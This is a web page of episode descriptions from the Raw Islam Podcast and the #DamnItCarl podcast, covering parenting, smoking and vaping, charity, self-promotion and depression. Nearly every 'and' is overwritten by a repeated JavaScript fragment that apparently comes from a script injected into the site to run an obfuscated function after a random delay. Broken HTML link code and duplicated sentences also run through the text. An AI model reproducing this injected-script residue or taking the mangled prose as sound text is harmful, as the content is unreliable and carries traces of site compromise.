On this episode of the Raw Islam Podcast with Imam Azhar – a 2017 Podcast Award nominated podcast – with all that is going on in the world today, how do we be good parents to our children? 

There seems to be so much going on in the world today… with hate, racism, wars, poverty, climate change, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and the list goes on andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and on. 

But with all of this, how to we continue to be good parents andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and raise our children in a correct way, so that will be good people? 

Is it how much we force them to pray, or should we force them to read more Quran, or maybe we just take their phones away from them forever?

While it is a good idea to unplug for a few hours a day – not Tuesdays at 8pm – we must remember that part of being a good parent is to lead by example. So, what kind of example are you setting for your children? 

The Imam also reminds us that this podcast is just the start to the conversations. While our audience – that is you – gets to pick the topic of conversation from week to week, we do hope that you continue talking about things with your family, friends, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and community. It is through conversation that we get to know our neighbors better andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and come closer together.

On this #DamnItCarl podcast B.C. Dodge says – B.C. has a dirty little secret… andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and here it is.

When B.C. says dirty, he means that in the most literal of ways. If you were hoping to get something else or looking for something beyond PG 13, this might not be the place you should be.

When B.C. was 18 he started smoking – andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and smoking is dirty!

He did this for seven years. It wasn’t until it started to have a negative impact on his life, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and his family, that he made the choice to stop smoking. Which wasn’t easy. 

He did it through with the use of the medication known as Wellbutrin. And while he did stop, the weight gain was significant – which started another whole life long issue. 

But sadly, life had other plans, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and amid his divorce he started smoking again. 

Ten one day about a year ago his boss pulled him into their office andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and had a pleasant, but uncomfortable conversation with him. 

He smelled.

His boss was very tactful in the way that the information was communicated, wasn’t rude about it, or mean. But most importantly, they were right. There wasn’t only the smell, but his fingers were stained, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and his teeth were yellowing – the truth is, the smoking was taking its toll on his body.

Shortly after that B.C. tried using a vaporizer. And he found that it did, in fact, meet his need for nicotine andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and didn’t leave a smell on his clothes, his finger were not stained, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and things looked a little better. 

However, now teen are using them in today.com/story/news/2018/12/20/teen-vaping-rise-here-why/2239155002/” target=”_blank”>epidemic proportions. And it is threatening the whole vaping industry… andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and while people under 18 shouldn’t be using these items, should the whole vaping concept be flushed?

In the shadow of Giving Tuesday; which of course follows Black Friday, Small Business Saturday, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Cyber Monday…you have spent so much of your money on items that you want – not items that you really need. And there is an importance of making a distinction here.

Most of us WANT that new TV or that new video game, but none of us NEED that new TV. We, as humans, in world that has so much disparity, need  to make clear want verses need. We WANT that that bottled water, but people in Flint NEED that bottled water. The resources that we have on this planet, as climate change because more andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and more evident, will become more andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and more scarce, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and that is one reason we need to think before we spend our money.

Now – where were we? Oh yes, Giving Tuesday andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and charity…

Imam Azhar reflects on not only this giving Tuesday, but Ramadan time too, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and he reflects on all the mail, email, WhatsApp messages, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and Facebook posts that he gets from different groups andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and people asking for money.

#DamnItCarl Podcast 23: Addressing the Lack of a Hustle Gene

On this #DamnItCarl podcast B.C. Dodge asks– can you be a solopreneur without that hustle gene?

On this #DamnItCarl podcast B.C. Dodge asks – can you be a solopreneur without that hustle gene?

B.C. likes working for himself, he likes being able to pick his projects…he likes being able to work when pants are optional – don’t ask, we don’t.

But loving your work sometimes isn’t enough. You also have to have that hustle gene; that inner voice that says, “brag about yourself now” or “sell yourself/product right here.”

It isn’t a bad thing, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and we are sure that it is tied to self-esteem issues, but to work full time for yourself requires not only doing the work that you love but being all the hats in the organization…including heading your sales team.

The ironic part about this is that B.C. is a digital marketer andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and is good at what he does – except marketing himself or his skills. He has a proven track record of getting traffic to websites andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and interaction on social media posts – so why can’t he do the same for himself?

There is the old saying that plumbers have the worst the plumbing in their own homes because they spend so much time fixing everyone else’s, that there is no time left for their own.

So is B.C. dealing with a self-esteem issue, or is he simply spending so much time on everyone else’s marketing projects that he doesn’t have the time for his own?

On this #DamnItCarl podcast B.C. Dodge asks– why do we sabotage our relationships when we have a bout of depression?

In a previous episode of the podcast andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and has struggled more than normal. (opens in a new tab)” href=”http://bcdodge.me/” target=”_blank”>B.C. asked how you andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and has struggled more than normal. (opens in a new tab)”>support someone with depressionandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and has struggled more than normal. (opens in a new tab)”>. Building on that, B.C. has had a very rough week andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and has struggled more than normal.

Through this struggle he has learned that when he starts to get depressed the first thing that he does is push people away. He alienates those around him, this isn’t by accident – it’s more by design than anything.

It is a vicious downward spiral – he tends to alienate people because of a lack of self-worth. As he pushes people away, he personally feels alienated, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and he thinks it’s due to people not liking him because he isn’t worth it…so he pushes them away more.

This is not unique to B.C., many people who struggle with depression have this same experience. In fact, according to to B.C., many people who struggle with depression have this same experience. In fact, according to Med Broadcast “People with depression often frustrate andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and alienate those around them. Not surprisingly, family members andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and friends often are unclear as to what they can do to help someone who is depressed.” (opens in a new tab)” href=”https://www.medbroadcast.com/channel/mental-health/depression/when-others-have-depression” target=”_blank”>Med Broadcast “People with depression often frustrate andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and alienate those around them. Not surprisingly, family members andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and friends often are unclear as to what they can do to help someone who is depressed.”

At the end of it all B.C. is kind of right back to where he was with his to where he was with his previous episode, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and how to not only support those around you…but how to self-care as well.
